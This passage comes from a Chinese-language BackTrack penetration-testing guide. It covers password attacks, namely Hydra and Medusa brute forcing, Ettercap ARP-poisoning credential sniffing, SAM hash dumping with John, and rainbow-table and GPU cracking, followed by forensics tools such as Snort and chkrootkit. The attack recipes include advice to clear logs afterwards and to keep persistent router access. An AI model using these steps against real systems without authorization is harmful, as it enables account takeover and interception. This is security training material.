在本章，我们将讲解通过密码破解来获取用户账户的各种方式。密码破解是所有渗透测试人员经常使用的一项技术。从本质上来讲，所有系统里最不安全的地方就是用户使用的密码。而且，无论密码策略如何设置，人们与生俱来地痛恨输入或设置强密码（尤其是要求他们经常这样做时），这使得他们成为黑客最容易下手的目标。

9.2　破解在线密码

在本示例中，我们将使用THC-Hydra（Hydra）密码破解工具。有些时候，我们可以用物理方式攻击Windows计算机，并直接获取安全账户管理器（Security Account Manger，SAM
 ）。还是，有些时候却无法这样做，这个时候，在线密码攻击就派上了用场。

Hydra支持很多协议，其中包括FTP、HTTP、HTTPS、MySQL、MS SQL、Oracle、Cisco、IMAP、VNC等。不过在使用时也要小心，因为这类攻击会加大您被发现的概率。

准备工作

为了完成本示例，需要满足如下条件：


	系统接入Internet或内部网络；

	可以用作目标主机的计算机。



操作步骤

现在开始破解在线密码。

1．在开始菜单中选择Applications | BackTrack | Privilege Escalation | Password Attacks | Online Attacks | hydra-gtk
 （见图9.1）。
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图9.1

2．在启动Hydra之后，需要设置字典文件。单击Passwords
 选项卡设置用户名字典和密码字典。相关设置，如下所示。


	
用户名字典（Username List）
 ：/pentest/web/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/names
 /nameslist.txt





	
密码字典（Password List）
 ：/pentest/web/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds
 /john.txt




[image: Advanced-Penetration-Testing-for-Highly-Secured-Environments-The-Ultimate-Security-Guide-eBook24062012_1093525-24]
 较为快捷方法是单击字典对话框，程序将会弹出提示文件浏览窗口，供您选择文件。

还要选择Loop around users
 与Try empty password
 选项（见图9.2）。
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图9.2

3．现在对攻击进行调整。在Performance Options
 下将任务的数量由16调整为2。这样可以避免过多的并发线程拖垮服务器。我们还建议选中Exit after first found pair
 选项，这是一个可选项（见图9.3）。

4．设置目标。单击Target
 选项卡，设置希望攻击的目标和协议。在本示例中，我们使用的是Metasploitable机器（192.168.10.111
 ）的MySQL端口（见图9.4）。

5．最后，单击Start
 选项卡，然后单击Start
 按钮，开始攻击（见图9.5）。
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图9.3
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图9.4
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图9.5

本例小结

在本示例中，我们使用Hydra对目标进行字典攻击。我们可以在Hydra里指定目标，并使用用户名字典和密码字典，程序将它们安排为不同组合，并进行暴力破解。

9.3　破解HTTP密码

在本示例中，我们使用THC-Hrdya（Hydra）密码破解工具来破解HTTP密码。在浏览Web站点或使用Web程序时，人们通常会使用用户名和密码的组合来登录。与其他任何密码类型一样，用户通常使用的是较弱或非常弱的密码。

准备工作

为了完成本示例，需要满足如下条件：


	系统接入Internet或内部网络；

	可以用作受害者主机的计算机。



操作步骤

现在开始破解HTTP密码。

1．在开始菜单中选择Applications | BackTrack | Privilege Escalation | Password Attacks | Online Attacks | hydra-gtk
 （见图9.6）。
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图9.6

2．在启动Hydra之后，需要设置字典文件。单击Passwords
 选项卡设置用户名字典和密码字典。相关设置如下所示。


	

用户名字典（Username List）
 ：/pentest/web/wfuzz/wordlist/fuzzdb/wordlists-user-passwd
 /names/nameslist.txt




	

密码字典（Password List）
 ：/pentest/web/wfuzz/wordlist/fuzzdb/wordlists-user-passwd
 /passwds/john.txt
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 较为快捷方法是单击字典对话框，程序将会弹出提示文件浏览窗口，供您选择文件。

请注意选中Loop around users
 与Try empty password
 选项（见图9.7）。
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图9.7

3．现在对攻击进行调整。在Performance Options
 下将任务的数量由16调整为2。这样可以避免过多的并发线程拖垮服务器。我们还建议选中Exit after first found pair
 选项，这是一个可选项（见图9.8）。

4．设置目标。单击Target
 选项卡，设置要攻击的目标和协议。在本示例中，我们使用的是Metasploitable机器（192.168.10.111
 ）的HTTP端口（见图9.9）。

5．最后，单击Start
 选项卡，然后单击Start
 按钮，开始攻击（见图9.10）。
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图9.8
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图9.9
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图9.10

9.4　获取路由器访问

现如今，我们的世界基本都实现了网络互联。随着网络视频游戏的兴起，家用计算机、小型企业用计算机的数量史无前例地增长着，路由器也因此成为网络通信的基石。而能够保障路由器安全，且具有丰富经验的网络管理员的数量却没有随之增加，这使得很多路由器成为攻击的目标。在本示例中，我们将将使用Medusa暴力攻击路由器。

准备工作

为了完成本示例，需要满足如下条件：


	系统接入Internet或内部网络；

	一台可用的路由器。



操作步骤

现在开始使用Medusa执行暴力攻击。

1．在开始菜单中选择Applications | BackTrack | Privilege Escalation | Password Attacks | Online Attacks | medusa
 。在Medusa启动后会载入其帮助文件（见图9.11）。
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图9.11

2．现在运行Medusa，其选择的选项如下所示（见图9.12）。



   medusa -M http -h 192.168.10.1 -u admin –P


   /pentest/passwords/wordlists/darkc0de.lst -e ns -n 80 –F
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图9.12


-M http
 ：设置所用的模块。在本示例中，我们将要用到http
 模块。


-h 192.168.10.1
 ：设置目标主机。在本示例中，我们选择的是192.168.10.1
 （路由器的IP地址）。


-u admin
 ：设定要破解的用户名。在本示例中，我们假设路由器的登录用户名是admin
 。


-P [location of password list]
 ：设置密码字典的位置。


-e ns
 ：设置是否进行额外的密码检查。ns
 变量将测试用户名和空密码。


-n 80
 ：该选项可以指定端口号。在本示例中，我们选择的是80
 。


-F
 ：在我们成功找到用户名和密码之后，可以使用该选项停止审计。

3．Medusa在运行后，会尝试所有的用户名和密码组合，直到成功为止（见图9.13）。
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图9.13

本例小结

在本示例中，我们使用Medusa暴力破解目标路由器的密码。这样做的好处是，一旦成功访问路由器之后，您就可以改变其设置，以方便日后随时访问该路由器，甚至可以将发送到该路由器的通信转发到其他的网络设备上。

补充资料

我们也可以在命令行中直接输入medusa
 命令来运行Medusa。我们也可以配置Medusa的其他选项，以满足不同环境的需要。更多详情，请在终端窗口中输入medussa
 来查看其帮助文件。

模块类型

下面列出了可以与Medusa一起使用的模块。


	AFP

	CVS

	FTP

	HTTP

	IMAP

	MS SQL

	MySQL

	NetWare

	NNTP

	pcAnywhere

	POP3

	PostgreSQL

	REXEC

	RLOGIN

	RSH

	SMBNT

	SMTP AUTH

	SMTP VRFY

	SNMP

	SSHv2

	Subversion

	Telnet

	VMware authentication

	VNC

	Generic wrapper

	Web form



9.5　密码采样分析

在本示例中，我们将学习如何在开始密码攻击之前进行采样分析。对密码进行采样分析的目的是通过收集目标的信息，来得到一个小一些的字典。在本示例中，我们将使用Ettercap及其ARP欺骗功能来嗅探通信。

准备工作

为了完成本示例，需要将系统接入到本地网络。

操作步骤

现在启动Ettercap，准备开始密码采样分析。

1．我们首先配置Ettercap。找到Ettercap的配置文件，然后使用Vim来编辑。



   locate etter.conf


   vi /etc/etterconf
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 配置文件的位置可能会不同。

2．将ec_uid
 和ec_gid
 的值修改为0（见图9.14）。
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图9.14

3．在文件尾部的LINUX
 段落下找到下述iptables
 的行，删除掉注释标记（见图9.15）。

[image: p230a]


图9.15

4．最后启动Ettercap，启动时使用-G
 选项启动其用户图形界面（见图9.16）。



   ettercap –G
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图9.16

5．打开Unified sniffing。可以按下Shift + U，或者在菜单中选择Sniff | Unified sniffing…
 来打开程序（见图9.17）。
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图9.17

6．选择网络接口（见图9.18）。
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图9.18

7．开始扫描主机。可以按下Ctrl + S，或者在菜单中选择Hosts | Scan for hosts
 来完成（见图9.19）。
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图9.19

8．现在开始使用Ettercap进行嗅探。可以按下Ctrl + W或者在菜单中选择Start | Start sniffing
 来完成（见图9.20）。
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图9.20

9．最后开始ARP欺骗。可以在菜单中选择Mitm | Arp poisoning
 来完成（见图9.21）。
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图9.21

10．在弹出的窗口中选中Sniff remote connections
 可选参数（见图9.22）。
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图9.22

11．我们将在Ettercap窗口中看到一些信息，具体内容因实际情况而异（见图9.23）。
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图9.23

12．一旦找到我们需要的信息（用户名和密码）后，就关闭Ettercap。可以按下Ctrl + E或者在菜单中选择Start | Stopsniffing
 来关闭它（见图9.24）。
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图9.24

13．现在关闭ARP欺骗程序，让网络恢复正常（见图9.25）。
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图9.25

本例小结

在本示例中，我们使用Ettercap来嗅探网络，并从网络中窃取用户名和密码。我们先找到Ettercap的配置文件，然后对其进行修改。然后我们启动Ettercap，并使用ARP欺骗来执行MITM攻击。这之后，通信将被转发到我们的机器，当用户在网络中使用用户名和密码时，我们就可以看到账户信息了。

补充资料

我们也可以使用Metasploit来进行用户名采样。通过使用Search Email Collector模块来完成该任务。

1．打开一个终端窗口并执行MSFCONSOLE。



   msfconsole





2．打开Search Email Collector模块（见图9.26）。



   search email collector





3．执行下述命令，调用Search Email Collector模块。



   use auxiliary/gather/search_email_collector
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图9.26

4．显示该模块的可用选项（见图9.27）。



   show options
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图9.27

5．接下来设置域名。在选择时要小心！不要触犯法律。

6．设置所需的域名。



   set domain fromwilliesperspective.com





7．设置输出文件。该设置时可选的。如果您打算运行多个攻击，或者是打算在日后运行攻击，则建议使用该选项（见图9.28）。



   set outfile /root/Desktop/fromwillie.txt
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图9.28

8．最后，发动这个攻击（见图9.29）。



   run





[image: P235c]


图9.29

9.6　使用John the Ripper破解Windows密码

在本示例中，我们将使用John the Ripper来破解Windows安全账户管理器（Security Accounts Manger，SAM）文件。SAM文件是目标Windows系统存储用户名和密码哈希值的文件。出于安全原因，SAM文件无法手动打开，也无法在Windows系统运行期间将其复制出来；为防止了未经授权的访问，Windows就是有意这样设计的。

准备工作

为了完成本示例，需要满足如下条件：


	可以访问SAM文件；

	假设您已经获取了Windows主机的访问权限。



操作步骤

现在开始使用John the Ripper破解Windows SAM文件。无论是通过远程漏洞破解实现，还是采用物理方式接入计算机，我们假设您已经取得了Windows主机的访问权限，并且假设您正在通过USB或者DVR-ROM光驱使用BackTrack。

1．检查打算挂载（mount）的硬盘。



   Fdisk –l





2．挂载硬盘，并将/target
 目录设置为它的挂载点。



   mount /dev/sda1 /target/





3．进入Windows SAM文件所在的目录。



   cd /target/windows/system32/config





4．列出目录中的所有内容。



   ls –al





5．使用SamDump来提取哈希值，并将其放置到root
 用户目录下的hashes
 文件夹下。



   samdump2 system SAM > /root/hashes/hash.txt





6．进入John the Ripper的目录。



   cd /pentest/passwords/jtr





7．运行John the Ripper。



   ./john /root/hashes/hash.txt





如果攻击NTFS系统中的文件，则需要运行下面的命令。



   ./john /root/hashes/hash.txt -f:nt





本例小结

在本示例中，我们使用John the Ripper破解Windows SAM文件。无论您是以物理方式访问，还是远程攻陷该主机，我们假设已经取得了Windows主机的访问权限。然后使用SampDump2来提取SAM文件的哈希值，最后使用John the Rippre对提取的哈希值文件进行暴力破解。

9.7　使用字典攻击

在本示例中，我们将讲解字典攻击。字典攻击使用预先设置好的一系列密码，尝试使用暴力破解来找到匹配的密码。通常生成的字典文件有如下3种类型。


	Username only：只包含用户名的字典。

	Password only：只包含密码的字典。

	Username and password lists：同时包含用户名和密码的字典。



出于演示目的，我们将使用Crunch生成自己的密码字典。

准备工作

为了完成本示例，需要确认在安装的BackTrack中包含了Crunch程序。

操作步骤

BackTrack在v5 R3版本之前，默认情况下不安装Crunch。但是我们可以从软件仓库中下载一个。

1．打开一个终端窗口，执行update
 命令，从软件仓库中更新软件包列表。



   apt-get update





2．执行下述命令来安装Crunch（见图9.30）。



   apt-get install crunch
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图9.30

3．打开一个终端窗口，进入Crunch的目录（见图9.31）。



   cd /pentest/passwords/crunch
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图9.31

4．使用Crunch生成密码字典的基本语法是crunch [manimum length] [maximum length] [character set] [options]。


5．Crunch有多个可用选项。经常用到的几个选项如下所示。


	
-o
 ：该选项可以指定输出的文件名和存放位置。

	
-b
 ：该选项可以指定每个文件的最大写入字节。字节以KB/MB/GB为单位，但是必须与-o START
 触发器一起使用。

	
-t
 ：该选项可以指定要使用的模式。

	
-l
 ：当使用了-t
 选项时，该选项可以识别某些占位符的原义字符（literal character），比如@、%、^。



6．接下来执行下述命令，在桌面上创建一个密码词典，其最小字符数为8
 个，最大字符数为10
 个，并且使用了ABCDEFGabcdedf01233456789
 字符集（见图9.32）。



   /pentest/passwords/crunch/crunch 8 10 ABCDEFGabcdefg0123456789


   -o /root/Desktop/generatedCrunch.txt
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图9.32

7．在文件生成以后，使用nano打开该文件。



   nano /root/Desktop/generatedCrunch.txt





本例小结

在本示例中，我们使用Crunch生成了一个密码字典。在我们针对受害者主机进行的大多数暴力攻击中，有一个可用的密码字典相当关键。

9.8　使用彩虹表

在本示例中，我们将学习如何使用BackTrack 5中的彩虹表。彩虹表是一种特殊格式的字典，它由哈希值组成，所以不是标准的明文的密码字典。出于演示目的，我们将使用RanibowCrack来生成彩虹表。

操作步骤

现在开始彩虹表的生成过程。

1．打开一个终端窗口，进入rainbowcrack
 目录（见图9.33）。



   cd /pentest/passwords/rainbowcrack/
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图9.33

2．接下来执行rtgen
 ，开始生成基于MD5的彩虹表（见图9.34）。



   ./rtgen md5 loweralpha-numeric 1 5 0 3800 33554432 0





3．在生成彩虹表之后，将会有一个进程用来生成哈希（取决于处理器的数量），该进程大约需要2～7小时。您指定的输出目录中将包含*.rt
 文件。

4．为了开始密码破解的过程，我们将使用rtsort程序对彩虹表排序，以方便处理。为了实现该目的，我们在生成的每一个文件上执行rsort
 命令。语法如下。



   rsort md5_loweralpha-numeric #1-5_[Sequence number of the file]


   _3800x33554432_0.rt





5．最后，执行rcrack
 来破解哈希。RainbowCrack可以攻击两种类型的哈希：Single和Multiple，相应的语法如下所示。
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图9.34


	
Single
 ：rcrack [Path to RT directory]\*.rt –h [The hash value we are
 trying to crack]


	
Multiple
 ：rcrack [Path to RT directory]\*.rt –l [Path to hash file]




本例小结

在本示例中，我们使用不同的RainbowCrack工具来生成、排序和破解MD5密码。RainbowCrack使用彩虹表，并以预先计算出的哈希值为基础，暴力破解密码。本示例先使用字母数字值生成了一个MD5彩虹表，然后创建彩虹表，对哈希文件展开暴力破解。

9.9　使用NVIDIA CUDA

在本示例中，我们将使用NVIDIA统一计算设备架构(Computer Unified Device Architecture，CUDA)来破解密码哈希。CUDA是一个并行的计算平台，通过使用图形处理单元（GPU）的计算能力来提升运算性能。近些年来，GPU处理能力已经显著提升，这使得我们可以使用它来进行运算。出于演示目的，我们将使用OclHashcat-plus来破解密码。OclHashcat有两个版本：plus和lite。这两个版本都在BackTrack 5中都有。

准备工作

为了完成本示例，我们需要一个支持NVIDIA CUDA技术的显卡。

操作步骤

现在开始使用OclHashcat-plus。

1．打开一个终端窗口，进入OclHashcat-plus的目录（见图9.35）。



   cd /pentest/passwords/oclhashcat+
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图9.35

2．执行下述命令，查看CudaHashcat-plus的使用说明（见图9.36）。



   ./cudaHashcat-plus64.bin –help
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图9.36

3．运行OclHashcat的语法格式是cudaHashcat-plus64.bin [options] hash [mask]
 。

[image: Advanced-Penetration-Testing-for-Highly-Secured-Environments-The-Ultimate-Security-Guide-eBook24062012_1093525-24]
 使用OclHashcat最重要的地方就是理解它的字符集结构。

4．在进行破解之前，我们先看一下可以使用的攻击矢量。OclHashcat在其攻击中使用左右两个掩码。密码字符被平均分割成一个左掩码和一个右掩码。对每一边的掩码，您可以指定使用字典或字符集。我们在这里将使用一个自定义的字符集。

5．使用-1
 选项指定一个自定义的字符集。在指定数字（1－n）后，您可以使用任意长度的字符集，此处n就是密码的最大长度。每个自定义的字符使用?来表示，其后跟着期望的字符类型。可用的选项如下所示。


	
d
 ：使用数字（0～9）。

	
l
 ：使用小写字母。

	
u
 ：使用大写字母。

	
s
 ：使用特殊字符。

	
1-n
 ：作为占位符使用的自定义字符集。



6．将上述选项组合使用，可以指定包含特殊字符（s
 ）、大写字符（u
 ）、小写字符（l
 ）以及数字（d
 ）的自定义字符集，而且密码是由8个字符构成的。然后指定一个哈希文件attackfile
 。



   ./cudaHashcat-plus64.bin attackfile -1 ?l?u?d?s  ?1?1?1?1


   ?1?1?1?1





7．对上面的这条命令进行拆分，如下所示。


	
./cudaHashcat-plus64.bin
 ：调用CudaHashcat。

	
attackfile
 ：我们要攻击的文件。

	
-1 ?l?u?d?s
 ：指定自定义字符集，可以使用小写字母、大写字母、数字、特殊字符。

	
?1?1?1?1
 ：使用字符字符集l
 的左掩码。

	
?1?1?1?1
 ：使用字符集l
 的右掩码。



本例小结

在本示例中，我们使用OclHashcat和一个支持NVIDIA CUDA的显卡来攻击密码哈希文件。我们先指定了一个攻击文件，然后使用自定义选项，用显卡的GPU来攻击密码哈希文件。

9.10　使用ATI Stream

在本示例中，我们使用ATI Steam来破解密码哈希。ATI Stream与CUDA类似，也是一个并行计算平台，通过使用GPU的计算能力来增强运算性能。近些年来，GPU处理能力已经显著提升，这使得我们可以使用它来进行运算。出于演示目的，我们将使用OclHashcat-plus来破解密码。OclHashcat有两个版本：plus和lite。这两个版本都在BackTrack 5中都有。

准备工作

为了完成本示例，我们需要一个支持ATI Stream技术的显卡。

操作步骤

现在开始使用OclHashcat-plus。

1．打开一个终端窗口，进入OclHashcat-plus的目录（见图9.37）。



   cd /pentest/passwords/oclhashcat+
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图9.37

2．执行下述命令，启动CudaHashcat-plus的帮助文件（见图9.38）。



   ./oclHashcat-plus64.bin –help





3．运行OclHashcat的语法格式是oclHashcat-plus64.bin [options] hash [mask]
 。
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 使用OclHashcat最重要的地方就是理解它的字符集结构。

4．在进行破解之前，我们先看一下可以使用的攻击矢量。OclHashcat在其攻击中使用左右两个掩码。密码字符被平均分割成一个左掩码和一个右掩码。对每一边的掩码，您可以指定使用字典或字符集。我们在这里将使用一个自定义的字符集。
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图9.38

5．使用-1
 选项指定一个自定义的字符集。在指定数字（1-n）后，您可以使用任意长度的字符集，此处n就是密码的最大长度。每个自定义的字符使用?来表示，其后跟着期望的字符类型。可用的选项如下所示。


	
d
 ：使用数字（0~9
 ）。

	
l
 ：使用小写字母。

	
u
 ：使用大写字母。

	
s
 ：使用特殊字符。

	
1-n
 ：作为占位符使用的自定义字符集。



6．将上述选项组合使用，可以指定包含特殊字符（s
 ）、大写字符（u
 ）、小写字符（l
 ）以及数字（d
 ）的自定义字符集，而且密码是由8个字符构成的。然后指定一个哈希文件attackfile
 。



   ./oclHashcat-plus64.bin attackfile -1 ?l?u?d?s  ?1?1?1?1


   ?1?1?1?1





7．对上面的这条命令进行拆分，如下所示。


	
./oclHashcat-plus64.bin
 ：调用OclHashcat。

	
Battackfile
 ：我们要攻击的文件。

	
b-1 ?l?u?d?s
 ：指定自定义字符集，可以使用小写字母、大写字母、数字、特殊字符。

	
b?1?1?1?1
 ：使用字符字符集l的左掩码。

	
b?1?1?1?1
 ：使用字符集l的右掩码。



本例小结

在本示例中，我们使用OclHashcat和一个支持ATI Stream的显卡来攻击密码哈希文件。我们先指定了一个攻击文件，然后使用自定义选项，用显卡的GPU来攻击密码哈希文件。

9.11　物理访问攻击

在本示例中，我们使用SUCrack来执行物理访问密码攻击。SUCrack是一个多线程工具，可以通过su
 命令，来暴力破解本地用户的账户。su
 是一个Linux命令（substitute user），其他用户的身份要使用管理员权限执行命令时需要执行这个命令、提升用户权限。在您无法通过其他方式来提升Linux/UNIX系统用户权限的情况下，这种攻击会很有用，但是Linux的日志会记录相关操作，从而导致日志文件很快就被填满。所以在攻击之后要清空日志文件。

SUCrack有很多可用的命令选项，如下所示。


	
--help
 ：查看SUCrack的帮助文件。

	
-l
 ：用来指定执行su命令进行破解的用户（Linux中并非每个用户都可以执行su指令）。

	
-s
 ：用来设置屏幕上统计信息的刷新间隔，默认每3秒刷新一次。

	
-a
 ：设置是否使用ANSI编码的escape（Esc）键。

	
-w
 ：用来设置SUCrack可以使用的工作线程（worker thread）的数量。由于SUCrack是多线程的，因此我们可以根据需要运行多个工作线程。我们建议使用单线程模式，因为每次登录的时间间隔是3秒钟，设置过多线程并不会显著提升效率。



准备工作

为了完成本示例，我们需要一台被攻陷的Linux主机。当然，您也可以攻击自己的系统。

操作步骤

现在开始使用SUCrack来执行物理访问密码攻击。

1．必须配合字典文件使用SUCrack。否则， 您将看到程序开发者的有趣留言。打开一个终端窗口，然后执行sucrack
 命令。出于演示目的，我们将使用之前由Crunch创建的自定义字典文件。当然，您也可以指定任何字典文件。



   sucrack /pentest/passwords/wordlists/rockyou.txt






2．如果设置了两个工作线程，并且希望每6秒钟显示一次统计信息，而且使用了ANSI escape编码，则可以使用如下命令。



   sucrack -w 2 -s 6 -a /pentest/passwords/wordlists/rockyou.txt






本例小结

在本示例中，我们使用SUCrack对系统的root用户执行本地访问的密码攻击。该攻击使用指定的字典，对管理员（默认的选择）或指定用户进行字典攻击。我们通过sucrack
 这条简单的命令就可以发起攻击。








第10章　电子取证

本章将包含以下内容：


	入侵监测与日志分析；

	文件夹递归加解密；

	扫描rootkit；

	从有问题的数据源中恢复数据；

	恢复Windows密码；

	重置Windows密码；

	查看Windows注册表条目。



10.1　简介

计算机取证指的是使用多种方法来分析、报告和恢复计算机或数字存储媒介中的信息，而且通常用于法律用途。计算机取证的目的是，将以这些方法采集到的有用信息提供给需要这些信息的人员。计算机取证包括密码恢复、计算机入侵（成功或未遂）的分析、从硬盘中恢复已经被擦除的数据等。在这一章，我们将讲解如何使用BackTrack进行取证。

10.2　入侵检测与日志分析

入侵检测（Intrusion Detection）泛指监控计算机网络或系统中恶意行为的技术手段。人们常常将它与入侵检测系统（Intrusion Detection System，IDS）等同化。IDS是根据一组预先定义的规则，对网络或系统中的行为进行监控的系统。通过分析网络中不同节点的信息，有经验的专业人士可以判断网络（或主机系统上）是否存在或可能存在安全漏洞。如果漏洞确实存在，这些信息可以用来确定漏洞的具体位置。IDS通过这样的功能，为网络添加了一层额外的安全防护。

在本示例中，我们将使用Snort工具来演示入侵检测与日志分析。Snort是由Sourcefire开发的一款开源工具，可以用作入侵检测系统和入侵防御系统。较快的响应速度是Snort的一个优势，可以（接近）实时地分析网络通信，在出现安全事故时，它有利于有关人员进行快速响应。
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 请牢记，在网络中运行和使用Snort只能做到入侵检测功能，并不能阻止网络入侵的发生。它只是可以告诉我们网络中当前的运行状况。

准备工作

为了完成本示例，系统需要接入Internet或内部网络。

这里假设您已经访问了http://snort.org/start/rules
 ，并下载了Sourcefire Vulnerability Research Team（VRT）认证过的相应规则。要想发挥Snort的检测能力，必须时常维护它的规则集合。如果您还没有snort的账户，请先在https://www.snort.org/signup
 上进行注册。

操作步骤

现在开始启动Snort。

1．启动Snort服务（见图10.1）。

[image: ..\tu\P251.tif]


图10.1

2．在初始化Snort服务之后，我们通过一个终端窗口启动Snort前端程序。我们还将使用如下参数。


	
-q
 ：该选项告诉Snort在在线模式（inline mode）下运行。

	
-v
 ：该选项允许我们在屏幕上查看TCP/IP报头的输出。这也被称为“嗅探器模式”（sniffer mode）设置。

	
-c
 ：该选项允许我们选择配置文件。本例中，配置文件的位置是/etc/snort/snort.conf
 。

	
-i
 ：该选项用来指定接口。



使用上述选项，我们执行如下命令（见图10.2）。



   snort –q -v -i eth1 -c /etc/snort/snort.conf
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图10.2

3．按下Ctrl + X，让Snort停止监控。

本例小结

在本示例中，我们启动Snort服务，然后启动Snort前端程序，看查看日志数据。

补充资料

在我们使用Snort之前，需要先修改其配置文件，以满足实际需要。

1．打开一个终端窗口，找到Snort的配置文件（见图10.3）。



   locate snort.conf
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图10.3

2．现在使用nano编辑配置文件（见图10.4）。



   nano /etc/snort/snort.conf
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图10.4

3．找到var HOME_NET
 的所在行。我们需要将其修改为我们的内部网络（我们打算监控的设备）。每一种情况不尽相同。我们可能只想监控一台设备，此时只需输入该设备的IP地址即可（var HOME_NET 192.168.10.10
 ）。我们也可以监控一个IP网段（var HOME_NET 192.168.10.0/24
 ），或多个地址段（var HOME_NET 192.168.10.0/24,10.0.2.0/24
 ）。在本示例中，我们只监控本地网络（见图10.5）。



   var HOME_NET 192.168.10.0/24
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图10.5

4．同样，我们还需要设置外部网络。很多情况下，我们会将home_net
 以外的IP地址视为外部地址。在本示例中，我们将var EXTERNAL_NET any
 的那一行注释掉，然后删除掉var EXTERNAL_NET!$HOME_NET那一行的注释。



    #var EXTERNAL_NET any


    var External_NET !$HOME_NET





我们需要将图10.6中的这两行按照上面的进行修改，以与本步骤相匹配。
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图10.6
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 要查看Snort命令的扩展列表，请访问Snort用户手册，地址为http://www.snort.org/assets/166/snort_manual.pdf。


10.3　文件夹递归加解密

加密是将数据转换为一种不能被其他用户读取的数据格式，而解密则是将数据转换回可读的格式。加密的好处是，在对数据进行加密后，即使数据被他人窃取，如果没有正确的解密器，窃取者仍然无法使用。您可以根据所使用的程序，对单个文件、文件夹或整个硬盘进行加密。

在本示例中，我们将使用gpgdir
 执行文件夹递归加解密。使用gpgdir的好处是，它不仅可以加密一个文件夹，还可以将该文件夹中包含的所有子文件夹和文件一同进行紧密。这将节省您大量的时间和精力。

准备工作

为了完成本示例，您的BackTrack版本需要安装了gpgdir。

操作步骤

要想使用gpgdir，必须先安装。如果系统中尚未安装该程序，可以使用如下步骤进行安装。

1．打开一个终端窗口，在根目录下创建一个新的文件夹。



   mkdir /sourcecode





2．进入sourcecode
 文件夹。



   cd /sourcecode





3．使用Wget下载gpgdir应用程序和它的公钥（见图10.7）。



   wget http://cipherdyne.org/gpgdir/download/gpgdir-1.9.5.tar.bz2
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图10.7

4．下载数字签名文件。



    wget http://cipherdyne.org/gpgdir/download/gpgdir-1.9.5.tar.bz2.asc





5．下载公钥文件（见图10.8）。
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图10.8

6．现在验证安装包（见图10.9）。



    gpg --import public_key


    gpg --verify gpgdir-1.9.5.tar.bz2.asc
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图10.9

7．如果验证正确，则解压gpgdir，并进入解压后的目录，然后安装（见图10.10）。



    tar xfj gpgdir-1.9.5.tar.bz2


    cd gpgdir-1.9.5


    ./install.pl
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图10.10

8．首次运行gpgdir时，会在root
 目录下创建一个新文件（这里假设使用root
 登录BackTrack）。该文件名是./gpgdirrc
 。要创建该文件，请输入下述命令（见图10.11）。



   gpgdir
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图10.11

9．最后编辑.gpgdirrc
 文件，去掉default_key
 变量前的注释（见图10.12）。



    vi /root/.gpgdirrc
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图10.12

在安装了gpgdir之后，我们用它来执行文件夹递归加解密。

1．打开一个终端窗口，然后创建一个准备进行加密的文件夹。



    mkdir /encrypted_directory





2．在该文件夹中添加一些文件。使用Linux的复制命令cp
 可以添加任意数量的文件。

3．现在使用gpgdir来加密该文件夹（见图10.13）。



    gpgdir -e /encrypted_directory
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图10.13

4．在图10.13所示的提示符中输入密码。该密码与公钥文件相关联。

5．输入下述命令，使用gpgdir解密文件夹（见图10.14）。



    gpgdir -d /encrypted_directory
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图10.14

本例小结

在本示例中，我们使用gpgdir递归加密一个文件夹，然后对其解密。我们先安装了gpgdir，然后编辑其配置文件。在安装好gpgdir后，就可以对文件进行加解密操作了。
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 有关gpgdir的更多详情，请访问官方网站，地址为http://cipherdyne.org/gpgdir/docs/。


10.4　扫描rootkit


rootkit
 是一个加载到操作系统内核中的恶意程序，它用来隐藏可疑的程序、防止可疑程序被检测出来，并允许其他程序（通常是以远程访问的方式）访问宿主计算机系统。rootkit的安装方法有多种，常见的安装方法包括在Web页面的链接中隐藏可执行的代码、通过在软件程序中装有rookit诱使用户安装，它也可以隐藏在媒体文件或者文档里。在本示例中，我们将使用chkrootkit
 来搜索Windows系统或Linux系统中的rootkit。

准备工作

无论您是在本地计算机安装了BackTrack，还是以网络远程方式登录到被攻陷的虚拟器上，或者是将BackTrack 5 R3 DVD挂载到可以物理访问的计算机系统上，您都可以使用chkrootkit扫描rookit。

操作步骤

现在通过BackTrack菜单找到chkrootkit。

1．通过菜单Applications | BackTrack | Forensics | Anti-Virus ForensicsTools | chkrootkit
 来启动chkrootkit（见图10.15）。
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图10.15

2．也可以在终端窗口中输入下述命令来运行chkrootkit。



    cd /pentest/forensics/chkrootkit


   ./chkrootkit





chkrootkit将会立刻执行。在程序扫描的过程中，您将在屏幕中看到如图10.16所示的输出。
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图10.16

本例小结

在本示例中，我们使用chkrootkit来扫描本地主机的恶意软件、特洛伊木马和rootkit。chkrootkit识别恶意程序的识别能力很高，能够用来判断系统是否受到了攻击。即使您是以live DVD的形式运行BackTrack，您也可以使用chkrootkit来扫描rootkit、判断这台计算机是否被rookit感染。

补充资料

除了chkrootkit，我们还可以运行Rootkit Hunter（rkhunter）来查找系统中的rootkit。

1．打开一个终端窗口，然后运行下述命令来启动rkhunter。



   rkhunter –check





2．在rkhunter结束时，您将看到扫描结果的汇总信息和统计（见图10.17）。
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图10.17


chkrootkit的一些其他有用选项


运行chkrootkit时，可以选择下述有用的命令选项。


	
-h
 ：显示帮助文件。

	
-V
 ：显示chkrootkit当前运行的版本。

	
-l
 ：显示一系列可用的测试。




rkhunter的一些其他有用选项



	
--update
 ：允许更新rkhunter数据库。





   rkhunter –update






	
--list
 ：显示一系列Perl模块、可检测到的rootkit，以及将要执行的测试。





   rkhunter –list






	
--sk
 ：跳过每次运行检测后需要按下的回车键，对系统进行连续测试。





   rkhunter --check –sk






	在终端窗口中输入rkhunter
 将显示帮助文件。





   rkhunter





10.5　从有问题的数据源中恢复数据

在本示例中，我们将使用Fatback
 从有故障的数据源中恢复文件。Fatback
 是一款取证工具，用于文件雕刻（file carving
 ）等用途。文件雕刻功能能够在驱动器中全盘搜索数据（而不是简单扫描文件分区表）。它是一款从受损USB
 设备或硬盘中恢复数据的优秀工具。

准备工作

为了完成本示例，我们需要用到一个驱动器，而且该驱动器中包含了您打算恢复的文件。

操作步骤

现在在终端窗口中运行fdisk
 命令，准备从有问题的数据源中恢复数据。

1．运行fdisk
 找到我们要访问的驱动器，使用-l
 选项列出所有可用的驱动器。



    fdisk –l





2．在可用的驱动器中，找到待访问的驱动器。在本示例中，选择/dev/sdb1
 闪存（见图10.18）。

3．接下来，创建一个文件夹，准备存储恢复后的文件。我们创建一个名为/fatback/thumbdrivefiles
 文件夹。



    mkdir /fatback


    mkdir /fatback/thumbdrivefiles
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图10.18

4．Fatback在运行时会创建日志文件。我们需要切换目录，以便将恢复后的文件和日志文件一同存放在thumbdriverfiles
 文件夹中。



    cd /fatback





5．现在启动Fatback。通过Applications | BackTrack | Forensics | Forensic Carving Tools | fatback
 来运行（见图10.19）。
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图10.19

